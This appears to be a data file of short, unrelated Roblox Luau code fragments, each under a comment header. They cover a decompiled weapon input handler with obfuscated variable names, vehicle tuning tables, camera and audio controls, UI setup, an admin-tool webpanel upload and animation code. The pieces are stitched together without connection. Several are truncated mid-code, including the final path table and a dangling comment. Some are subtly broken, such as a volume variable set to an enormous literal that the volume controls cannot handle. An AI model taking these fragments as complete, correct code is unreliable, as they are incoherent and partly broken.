--Don't edit ANYTHING unless you know what your doing |
while true do
script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0.03,0,0)
wait(0.01)
end
|
--//Setup//-- |
local Holder = script.Parent
local Button = Holder.IconButton
local EmotesMenu = Holder.Parent.Parent.EmotesMenuHolder
|
--[[Weight and CG]] |
Tune.Weight = script.Tune_Weight.Value -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--// Input Connections |
L_82_.InputBegan:connect(function(L_264_arg1, L_265_arg2)
if not L_265_arg2 and L_15_ then
if L_264_arg1.UserInputType == Enum.UserInputType.MouseButton2 and not L_59_ and L_23_.CanAim and not L_56_ and L_15_ and not L_48_ and not L_49_ then
if not L_46_ then
if not L_47_ then
L_3_.Humanoid.WalkSpeed = 10
L_127_ = 10
L_126_ = 0.008
end
L_74_ = L_35_
L_105_.target = L_38_.CFrame:toObjectSpace(L_29_.CFrame).p
L_90_:FireServer(true)
L_46_ = true
end
end;
if L_264_arg1.KeyCode == L_23_.AlternateAimKey and not L_59_ and L_23_.CanAim and not L_56_ and L_15_ and not L_48_ and not L_49_ then
if not L_46_ then
if not L_47_ then
L_3_.Humanoid.WalkSpeed = 10
L_127_ = 10
L_126_ = 0.008
end
L_74_ = L_35_
L_105_.target = L_38_.CFrame:toObjectSpace(L_29_.CFrame).p
L_90_:FireServer(true)
L_46_ = true
end
end;
if L_264_arg1.UserInputType == Enum.UserInputType.MouseButton1 and not L_59_ and L_51_ and L_15_ and not L_48_ and not L_49_ and not L_56_ then
L_50_ = true
if not Shooting and L_15_ and not L_60_ then
if L_78_ > 0 then
Shoot()
end
elseif not Shooting and L_15_ and L_60_ then
if L_80_ > 0 then
Shoot()
end
end
end;
if L_264_arg1.KeyCode == L_23_.LaserKey and L_15_ and L_23_.LaserAttached then
local L_266_ = L_1_:FindFirstChild("LaserLight")
L_94_.KeyDown[1].Plugin()
end;
if L_264_arg1.KeyCode == L_23_.LightKey and L_15_ and L_23_.LightAttached then
local L_267_ = L_1_:FindFirstChild("FlashLight"):FindFirstChild('Light')
local L_268_ = false
L_267_.Enabled = not L_267_.Enabled
end;
if L_15_ and L_264_arg1.KeyCode == L_23_.FireSelectKey and not L_52_ then
L_52_ = true
if L_69_ == 1 then
if Shooting then
Shooting = false
end
if L_23_.AutoEnabled then
L_69_ = 2
L_60_ = false
L_51_ = L_61_
elseif not L_23_.AutoEnabled and L_23_.BurstEnabled then
L_69_ = 3
L_60_ = false
L_51_ = L_61_
elseif not L_23_.AutoEnabled and not L_23_.BurstEnabled and L_23_.BoltAction then
L_69_ = 4
L_60_ = false
L_51_ = L_61_
elseif not L_23_.AutoEnabled and not L_23_.BurstEnabled and not L_23_.BoltAction and L_23_.ExplosiveEnabled then
L_69_ = 6
L_60_ = true
L_61_ = L_51_
L_51_ = L_62_
elseif not L_23_.AutoEnabled and not L_23_.BurstEnabled and not L_23_.BoltAction and not L_23_.ExplosiveEnabled then
L_69_ = 1
L_60_ = false
L_51_ = L_61_
end
elseif L_69_ == 2 then
if Shooting then
Shooting = false
end
if L_23_.BurstEnabled then
L_69_ = 3
L_60_ = false
L_51_ = L_61_
elseif not L_23_.BurstEnabled and L_23_.BoltAction then
L_69_ = 4
L_60_ = false
L_51_ = L_61_
elseif not L_23_.BurstEnabled and not L_23_.BoltAction and L_23_.ExplosiveEnabled then
L_69_ = 6
L_60_ = true
L_61_ = L_51_
L_51_ = L_62_
elseif not L_23_.BurstEnabled and not L_23_.BoltAction and not L_23_.ExplosiveEnabled and L_23_.SemiEnabled then
L_69_ = 1
L_60_ = false
L_51_ = L_61_
elseif not L_23_.BurstEnabled and not L_23_.BoltAction and not L_23_.SemiEnabled then
L_69_ = 2
L_60_ = false
L_51_ = L_61_
end
elseif L_69_ == 3 then
if Shooting then
Shooting = false
end
if L_23_.BoltAction then
L_69_ = 4
L_60_ = false
L_51_ = L_61_
elseif not L_23_.BoltAction and L_23_.ExplosiveEnabled then
L_69_ = 6
L_60_ = true
L_61_ = L_51_
L_51_ = L_62_
elseif not L_23_.BoltAction and not L_23_.ExplosiveEnabled and L_23_.SemiEnabled then
L_69_ = 1
L_60_ = false
L_51_ = L_61_
elseif not L_23_.BoltAction and not L_23_.SemiEnabled and L_23_.AutoEnabled then
L_69_ = 2
L_60_ = false
L_51_ = L_61_
elseif not L_23_.BoltAction and not L_23_.SemiEnabled and not L_23_.AutoEnabled then
L_69_ = 3
L_60_ = false
L_51_ = L_61_
end
elseif L_69_ == 4 then
if Shooting then
Shooting = false
end
if L_23_.ExplosiveEnabled then
L_69_ = 6
L_60_ = true
L_61_ = L_51_
L_51_ = L_62_
elseif not L_23_.ExplosiveEnabled and L_23_.SemiEnabled then
L_69_ = 1
L_60_ = false
L_51_ = L_61_
elseif not L_23_.SemiEnabled and L_23_.AutoEnabled then
L_69_ = 2
L_60_ = false
L_51_ = L_61_
elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and L_23_.BurstEnabled then
L_69_ = 3
L_60_ = false
L_51_ = L_61_
elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and not L_23_.BurstEnabled then
L_69_ = 4
L_60_ = false
L_51_ = L_61_
end
elseif L_69_ == 6 then
if Shooting then
Shooting = false
end
L_62_ = L_51_
if L_23_.SemiEnabled then
L_69_ = 1
L_60_ = false
L_51_ = L_61_
elseif not L_23_.SemiEnabled and L_23_.AutoEnabled then
L_69_ = 2
L_60_ = false
L_51_ = L_61_
elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and L_23_.BurstEnabled then
L_69_ = 3
L_60_ = false
L_51_ = L_61_
elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and not L_23_.BurstEnabled and L_23_.BoltAction then
L_69_ = 4
L_60_ = false
L_51_ = L_61_
elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and not L_23_.BurstEnabled and not L_23_.BoltAction then
L_69_ = 6
L_60_ = true
L_61_ = L_51_
L_51_ = L_62_
end
end
FireModeAnim()
IdleAnim()
L_52_ = false
end;
if L_264_arg1.KeyCode == Enum.KeyCode.F and not L_59_ and not L_49_ and not L_52_ and not L_46_ and not L_48_ and not Shooting and not L_58_ then
if not L_55_ and not L_56_ then
L_56_ = true
Shooting = false
L_51_ = false
L_107_ = time()
delay(0.6, function()
if L_78_ ~= L_23_.Ammo and L_78_ > 0 then
CreateShell()
end
end)
BoltBackAnim()
L_55_ = true
elseif L_55_ and L_56_ then
BoltForwardAnim()
Shooting = false
L_51_ = true
if L_78_ ~= L_23_.Ammo and L_78_ > 0 then
L_78_ = L_78_ - 1
elseif L_78_ >= L_23_.Ammo then
L_51_ = true
end
L_55_ = false
L_56_ = false
IdleAnim()
L_57_ = false
end
end;
if L_264_arg1.KeyCode == Enum.KeyCode.LeftShift and not L_59_ and L_118_ then
L_53_ = true
if L_15_ and not L_52_ and not L_49_ and L_53_ and not L_47_ and not L_56_ then
Shooting = false
L_46_ = false
L_49_ = true
delay(0, function()
if L_49_ and not L_48_ then
L_46_ = false
L_54_ = true
end
end)
L_74_ = 80
L_3_.Humanoid.WalkSpeed = 21
L_127_ = 21
L_126_ = 0.4
end
end;
if L_264_arg1.KeyCode == Enum.KeyCode.R and not L_59_ and L_15_ and not L_48_ and not L_46_ and not Shooting and not L_49_ and not L_56_ then
if not L_60_ then
if L_79_ > 0 and L_78_ < L_23_.Ammo then
Shooting = false
L_48_ = true
ReloadAnim()
if L_78_ <= 0 then
if not L_23_.CanSlideLock then
BoltBackAnim()
end
BoltForwardAnim()
end
IdleAnim()
L_51_ = true
if L_78_ <= 0 then
if (L_79_ - (L_23_.Ammo - L_78_)) < 0 then
L_78_ = L_78_ + L_79_
L_79_ = 0
else
L_79_ = L_79_ - (L_23_.Ammo - L_78_)
L_78_ = L_23_.Ammo
end
elseif L_78_ > 0 then
if (L_79_ - (L_23_.Ammo - L_78_)) < 0 then
L_78_ = L_78_ + L_79_ + 1
L_79_ = 0
else
L_79_ = L_79_ - (L_23_.Ammo - L_78_)
L_78_ = L_23_.Ammo + 1
end
end
L_48_ = false
if not L_57_ then
L_51_ = true
end
end;
elseif L_60_ then
if L_80_ > 0 then
Shooting = false
L_48_ = true
nadeReload()
IdleAnim()
L_48_ = false
L_51_ = true
end
end;
end;
if L_264_arg1.KeyCode == Enum.KeyCode.RightBracket and L_46_ then
if (L_36_ < 1) then
L_36_ = L_36_ + L_23_.SensitivityIncrement
end
end
if L_264_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_46_ then
if (L_36_ > 0.1) then
L_36_ = L_36_ - L_23_.SensitivityIncrement
end
end
if L_264_arg1.KeyCode == Enum.KeyCode.E and L_15_ then
local L_269_ = L_27_:WaitForChild('GameGui')
if not L_16_ then
L_269_:WaitForChild('AmmoFrame').Visible = true
L_269_.AmmoFrame.Count.Text = math.ceil(L_79_ / L_23_.StoredAmmo) .. ' Mags'
if L_69_ == 1 then
L_269_.AmmoFrame.FMode.Text = 'Semi'
elseif L_69_ == 2 then
L_269_.AmmoFrame.FMode.Text = 'Auto'
elseif L_69_ == 3 then
L_269_.AmmoFrame.FMode.Text = 'Burst'
elseif L_69_ == 4 then
L_269_.AmmoFrame.FMode.Text = 'Bolt'
elseif L_69_ == 5 then
L_269_.AmmoFrame.FMode.Text = 'Shot'
elseif L_69_ == 6 then
L_269_.AmmoFrame.FMode.Text = 'Explosive'
end
L_16_ = true
end
end;
if L_264_arg1.KeyCode == Enum.KeyCode.T and L_1_:FindFirstChild("AimPart2") then
if not L_63_ then
L_38_ = L_1_:WaitForChild("AimPart2")
L_35_ = L_23_.CycleAimZoom
if L_46_ then
L_74_ = L_23_.CycleAimZoom
end
L_63_ = true
else
L_38_ = L_1_:FindFirstChild("AimPart")
L_35_ = L_23_.AimZoom
if L_46_ then
L_74_ = L_23_.AimZoom
end
L_63_ = false
end;
end;
if L_264_arg1.KeyCode == L_23_.InspectionKey then
if not L_59_ then
L_59_ = true
InspectAnim()
IdleAnim()
L_59_ = false
end
end;
end
end)
L_82_.InputEnded:connect(function(L_270_arg1, L_271_arg2)
if not L_271_arg2 and L_15_ then
if L_270_arg1.UserInputType == Enum.UserInputType.MouseButton2 and not L_59_ and L_23_.CanAim then
if L_46_ then
if not L_47_ then
L_3_.Humanoid.WalkSpeed = 16
L_127_ = 17
L_126_ = .25
end
L_74_ = 70
L_105_.target = Vector3.new()
L_90_:FireServer(false)
L_46_ = false
end
end;
if L_270_arg1.KeyCode == L_23_.AlternateAimKey and not L_59_ and L_23_.CanAim then
if L_46_ then
if not L_47_ then
L_3_.Humanoid.WalkSpeed = 16
L_127_ = 17
L_126_ = .25
end
L_74_ = 70
L_105_.target = Vector3.new()
L_90_:FireServer(false)
L_46_ = false
end
end;
if L_270_arg1.UserInputType == Enum.UserInputType.MouseButton1 and not L_59_ then
L_50_ = false
if Shooting then
Shooting = false
end
end;
if L_270_arg1.KeyCode == Enum.KeyCode.E and L_15_ then
local L_272_ = L_27_:WaitForChild('GameGui')
if L_16_ then
L_272_:WaitForChild('AmmoFrame').Visible = false
L_16_ = false
end
end;
if L_270_arg1.KeyCode == Enum.KeyCode.LeftShift and not L_59_ and not L_52_ and not L_47_ then -- SPRINT
L_53_ = false
if L_49_ and not L_46_ and not Shooting and not L_53_ then
L_49_ = false
L_54_ = false
L_74_ = 70
L_3_.Humanoid.WalkSpeed = 16
L_127_ = 17
L_126_ = .25
end
end;
end
end)
L_82_.InputChanged:connect(function(L_273_arg1, L_274_arg2)
if not L_274_arg2 and L_15_ and L_23_.FirstPersonOnly and L_46_ then
if L_273_arg1.UserInputType == Enum.UserInputType.MouseWheel then
if L_273_arg1.Position.Z == 1 and (L_36_ < 1) then
L_36_ = L_36_ + L_23_.SensitivityIncrement
elseif L_273_arg1.Position.Z == -1 and (L_36_ > 0.1) then
L_36_ = L_36_ - L_23_.SensitivityIncrement
end
end
end
end)
|
--[[Handlebars]] | --
Tune.SteerAngle = 20 -- Handlebar angle at max lock (in degrees)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
Tune.LowSpeedCut = 60 -- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30)
Tune.SteerD = 50 -- Dampening of the Low speed steering
Tune.SteerMaxTorque = 4000 -- Force of the the Low speed steering
Tune.SteerP = 500 -- Aggressiveness of the the Low speed steering
|
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "t" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
limitButton.Text = "Free Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 45
limitButton.Text = "FPV Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
limitButton.Text = "Standard Camera"
wait(3)
limitButton.Text = ""
end
end
end)
|
-- ROBLOX deviation: inline Promise type here. should probably go into LuauPolyfill |
export type PromiseLike<T> = {
andThen: (
((T) -> T)? | (PromiseLike<T>)?, -- resolve
((any) -> () | PromiseLike<T>)? -- reject
) -> PromiseLike<T>,
}
export type Promise<T> = {
andThen: ((
((T) -> T | PromiseLike<T>)?, -- resolve
((any) -> () | PromiseLike<nil>)? -- reject
) -> Promise<T>)?,
catch: ((((any) -> () | PromiseLike<nil>)) -> Promise<T>)?,
onCancel: ((() -> ()?) -> boolean)?,
}
export type SyncExpectationResult = {
pass: boolean,
message: () -> string,
}
export type AsyncExpectationResult = Promise<SyncExpectationResult>
export type ExpectationResult = SyncExpectationResult | AsyncExpectationResult
|
--// Functions |
function spawnTag(L_15_arg1, L_16_arg2)
if L_15_arg1 and L_15_arg1:FindFirstChild('Head') ~= nil and L_9_.TeamTags then
if L_15_arg1:FindFirstChild('Head'):FindFirstChild('TeamTag') and L_15_arg1:FindFirstChild('Head') ~= nil then
L_15_arg1:FindFirstChild('Head').TeamTag:Destroy()
end
local L_17_ = L_7_:WaitForChild('TeamTag'):clone()
L_17_.Parent = L_15_arg1:FindFirstChild('Head')
L_17_.Enabled = true
L_17_.Adornee = L_15_arg1:FindFirstChild('Head')
L_17_.Frame:WaitForChild('Frame').ImageColor3 = L_16_arg2
end
end
|
-------------------------------------------------------------------------------------------------------------- |
local player = game.Players.LocalPlayer -- Targets the player
local char = player.Character or player.CharacterAdded:Wait() -- Finds player's character
local hrp = char:WaitForChild("HumanoidRootPart") -- Finds character's humanoid root part
local cam = game.Workspace.CurrentCamera
local bar = script.Parent.Border.Bar
local runSound = hrp:WaitForChild("Running") -- Finds the running sound of the player
local TS = game:GetService("TweenService")
local TI = TweenInfo.new(1, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
|
--[[
Creates UI layers and connects them to zones.
--]] |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local GuiService = game:GetService("GuiService")
local RunService = game:GetService("RunService")
local Sift = require(ReplicatedStorage.Dependencies.Sift)
local GamepadMouseDisabler = require(script.Parent.GamepadMouseDisabler)
local UIZoneHandler = require(script.Parent.UIZoneHandler)
local UISeedMarket = require(script.Parent.UILayers.UISeedMarket)
local UIPlantSeed = require(script.Parent.UILayers.UIPlantSeed)
local UIPlacePot = require(script.Parent.UILayers.UIPlacePot)
local UIGardenStore = require(script.Parent.UILayers.UIGardenStore)
local UIBuyCoins = require(script.Parent.UILayers.UIBuyCoins)
local UIDataErrorNotice = require(script.Parent.UILayers.UIDataErrorNotice)
local UICoinIndicator = require(script.Parent.UILayers.UICoinIndicator)
local UIInventory = require(script.Parent.UILayers.UIInventory)
local UIInventoryButton = require(script.Parent.UILayers.UIInventoryButton)
local UIResetDataButton = require(script.Parent.UILayers.UIResetDataButton)
local UILayerIdByZoneId = require(ReplicatedStorage.Source.SharedConstants.UILayerIdByZoneId)
local UILayerId = require(ReplicatedStorage.Source.SharedConstants.UILayerId)
local ZoneIdTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.ZoneIdTag)
local ViewingMenuEffect = require(ReplicatedStorage.Source.ViewingMenuEffect)
local getInstance = require(ReplicatedStorage.Source.Utility.getInstance)
local localPlayer = Players.LocalPlayer :: Player
local playerGui: PlayerGui = getInstance(localPlayer, "PlayerGui")
local ZoneIdByUILayerId = Sift.Dictionary.flip(UILayerIdByZoneId) :: { [UILayerId.EnumType]: ZoneIdTag.EnumType }
local UISetup = {}
type UILayer = {
setup: (Instance) -> (),
getLayerId: () -> UILayerId.EnumType,
}
local uiLayerSingletons: { UILayer } = {
UISeedMarket,
UIGardenStore,
UIPlantSeed, -- TODO: Show size of pot you're attempting to plant in on UI?
UIPlacePot, -- TODO: Show spot number of pot you're placing on UI?
UIBuyCoins,
UIDataErrorNotice,
UICoinIndicator,
UIInventory,
UIInventoryButton,
}
function UISetup.start()
-- Prevents the mouse cursor from getting in the way while navigating with a gamepad
GamepadMouseDisabler.start()
-- Disables the "Selection mode" toggle button functionality of gamepads because we manually
-- set the SelectedObject for more customized behavior
GuiService.AutoSelectGuiEnabled = false
-- UI layer singletons setup
for _, uiLayerSingleton in ipairs(uiLayerSingletons) do
UISetup._setupLayerSingleton(uiLayerSingleton)
end
-- Studio-only feature allowing a developer to easily reset their data for testing purposes
if RunService:IsStudio() then
UISetup._setupLayerSingleton(UIResetDataButton)
end
-- To remove Roblox's default blue selection image frame, we need to replace it with a transparent
-- replacement
local transparentFrame = Instance.new("Frame")
transparentFrame.BackgroundTransparency = 1
playerGui.SelectionImageObject = transparentFrame
ViewingMenuEffect.start()
end
function UISetup._setupLayerSingleton(uiLayerSingleton: UILayer)
uiLayerSingleton.setup(playerGui)
local uiLayerId: UILayerId.EnumType = uiLayerSingleton.getLayerId()
local zoneId: ZoneIdTag.EnumType = ZoneIdByUILayerId[uiLayerId]
if zoneId then
UIZoneHandler.connectUiToZone(uiLayerId, zoneId)
end
end
return UISetup
|
-- spawn a random ore |
local oreName = oreBank[math.random(1,#oreBank)] |
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.40 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 2.65 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 2.65 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 1.80 ,
--[[ 3 ]] 1.25 ,
--[[ 4 ]] 1.00 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps
--if true then return end --// fully disabled
service.TrackTask("Thread: WEBPANEL_JSON_UPDATE", function()
wait(1)
local enabled = rawget(_G,"ADONISWEB_CMD_JSON_DOUPDATE");
local secret = rawget(_G,"ADONISWEB_CMD_JSON_SECRET");
local endpoint = rawget(_G,"ADONISWEB_CMD_JSON_ENDPOINT");
if not enabled or not secret or not endpoint then return end
print("WEB ENABLED DO UPDATE");
if Core.DebugMode and enabled then
print("DEBUG DO LAUNCH ENABLED");
wait(5)
local list = {};
local HTTP = service.HttpService;
local Encode = Functions.Base64Encode
local Decode = Functions.Base64Decode
for i,cmd in next,Commands do
table.insert(list, {
Index = i;
Prefix = cmd.Prefix;
Commands = cmd.Commands;
Arguments = cmd.Args;
AdminLevel = cmd.AdminLevel;
Hidden = cmd.Hidden or false;
NoFilter = cmd.NoFilter or false;
})
end
--warn("COMMANDS LIST JSON: ");
--print("\n\n".. HTTP:JSONEncode(list) .."\n\n");
--print("ENCODED")
--// LAUNCH IT
print("LAUNCHING")
local success, res = pcall(HTTP.RequestAsync, HTTP, {
Url = endpoint;
Method = "POST";
Headers = {
["Content-Type"] = "application/json",
["Secret"] = secret
};
Body = HTTP:JSONEncode({
["data"] = Encode(HTTP:JSONEncode(list))
})
});
print("LAUNCHED TO WEBPANEL")
print("RESPONSE BELOW")
print("SUCCESS: ".. tostring(success).. "\n"..
"RESPONSE:\n"..(res and HTTP.JSONEncode(res)) or res)
end
end)
end
|
-- @InterpolateDescription Library for interpolation functions |
local Interpolate = {}
Interpolate.Replicated = true
|
--// Math |
local L_135_ = function(L_172_arg1, L_173_arg2, L_174_arg3)
if L_172_arg1 > L_174_arg3 then
return L_174_arg3
elseif L_172_arg1 < L_173_arg2 then
return L_173_arg2
end
return L_172_arg1
end
local L_136_ = L_124_.new(Vector3.new())
L_136_.s = 30
L_136_.d = 0.55
local L_137_ = CFrame.Angles(0, 0, 0)
|
--[[wait(20)
print("am i looping?")
for i=0,10 do
wait(.1)
pellet.Transparency = i / 10
end
healsound.PlayOnRemove = false
wait(.5)
pellet.Parent = nil
]] | |
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon |
local Song = script.Parent.AudioPlayerGui.Song
local Audio = carSeat.Audio
vol = 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999.9
function changeSong()
local effect = carSeat.Audio.EqualizerSoundEffect
if effect.HighGain == 5 then
effect.HighGain = -80
effect.MidGain = -25
onOff.Text = "IN"
else
effect.HighGain = 5
effect.MidGain = 7
onOff.Text = "OUT"
end
end
function playSong()
local id = player.PlayerGui.AudioPlayer.AudioPlayerGui.TextBox.Text
Audio:Stop()
Audio.SoundId = "http://www.roblox.com/asset/?id="..id
Audio:Play()
--Screen.Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
--Screen.ID.Text = id
end
function stopSong()
Audio:Stop()
end
function volUp()
if vol + 0.1 <= 5 then
vol = vol + 0.1
Audio.Volume = vol
player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
--Screen.Vol.Text = tostring(vol*100) .. "%"
end
end
function volDown()
if vol - 0.1 >= 0 then
vol = vol - 0.1
Audio.Volume = vol
player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
--Screen.Vol.Text = tostring(vol*100) .. "%"
end
end
ChangeButton.MouseButton1Click:connect(function()
changeSong()
end)
VolUpButton.MouseButton1Click:connect(function()
volUp()
end)
VolDownButton.MouseButton1Click:connect(function()
volDown()
end)
PlayButton.MouseButton1Click:connect(function()
playSong()
end)
PauseButton.MouseButton1Click:connect(function()
stopSong()
end)
|
--// Remote |
local remoteFold = rp.remoteFold
local module = {}
module.Cam = function(Part, Data)
if Players:GetPlayerFromCharacter(Part) then
local plr = Players:GetPlayerFromCharacter(Part)
remoteFold['Client']:FireClient(plr,Data)
end
end
return module
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if toolAnim == "None" then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if toolAnim == "Slash" then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if toolAnim == "Lunge" then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if jumpAnimTime > 0 then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif pose == "Seated" then
playAnimation("sit", 0.5, Humanoid)
return
elseif pose == "Running" then
playAnimation("walk", 0.2, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/jest-snapshot/src/utils.ts
-- /**
-- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
-- *
-- * This source code is licensed under the MIT license found in the
-- * LICENSE file in the root directory of this source tree.
-- */ | |
--[[
API
===
To run the API, use:
``` API:Fire(<function>, {<arguments>}) ```
Call
----
The Call function sends the elevator to a floor. It takes 3 arguments.
- ` number floor` - The desired floor that the elevator should go to.
- ` string direction` - The call direction. This can be "N" for no direction, "U" for up, or "D" for down.
- ` boolean showInEle` - Determines whether the call button in the elevator should light up.
Example:
``` API:Fire("Call", {2, "D", false}) ```
ClearQueue
----------
The ClearQueue function clears the call queue and unlights all the call buttons. It takes 0 arguments.
Example:
``` API:Fire("ClearQueue") ```
Stop
----
The Stop function will stop the elevator if it is in motion and also clears the call queue. It takes 0 arguments.
Example:
``` API:Fire("Stop") ```
DoorOpen
--------
The DoorOpen function force opens the doors if the elevator is not in motion. It takes 0 arguments.
Example:
``` API:Fire("DoorOpen") ```
DoorClose
---------
The DoorClose function force closes the doors if they are open. It takes 0 arguments.
Example:
``` API:Fire("DoorClose") ```
DoorHold
--------
The DoorHold function keeps the doors open until it's disabled. It takes 1 argument.
- ` boolean enabled` - Determines whether the doors should be held open.
Example:
``` API:Fire("DoorHold", {true}) ```
Lock
----
The Lock function locks select calls and makes them inaccessible until unlocked. It takes 3 arguments.
- ` boolean locked` - Setting to true locks, setting to false unlocks.
- ` number floor` - The floor to lock calls for.
- ` string direction` - The call direction to lock. "U" and "D" locks the respective hall buttons, and "N" locks the car buttons.
Example:
``` API:Fire("Lock", {true, 3, "N"})
---
more will come soon™
]] |
script:Destroy() -- the |
--Precalculated paths |
local t,f,n=true,false,{}
local r={
[58]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t},
[49]={{47,48,49},t},
[16]={n,f},
[19]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59},t},
[63]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t},
[34]={{47,48,49,45,44,28,29,31,32,34},t},
[21]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21},t},
[48]={{47,48},t},
[27]={{47,48,49,45,44,28,27},t},
[14]={n,f},
[31]={{47,48,49,45,44,28,29,31},t},
[56]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56},t},
[29]={{47,48,49,45,44,28,29},t},
[13]={n,f},
[47]={{47},t},
[12]={n,f},
[45]={{47,48,49,45},t},
[57]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,57},t},
[36]={{47,48,49,45,44,28,29,31,32,33,36},t},
[25]={{47,48,49,45,44,28,27,26,25},t},
[71]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71},t},
[20]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20},t},
[60]={{47,48,49,45,44,28,29,31,32,34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
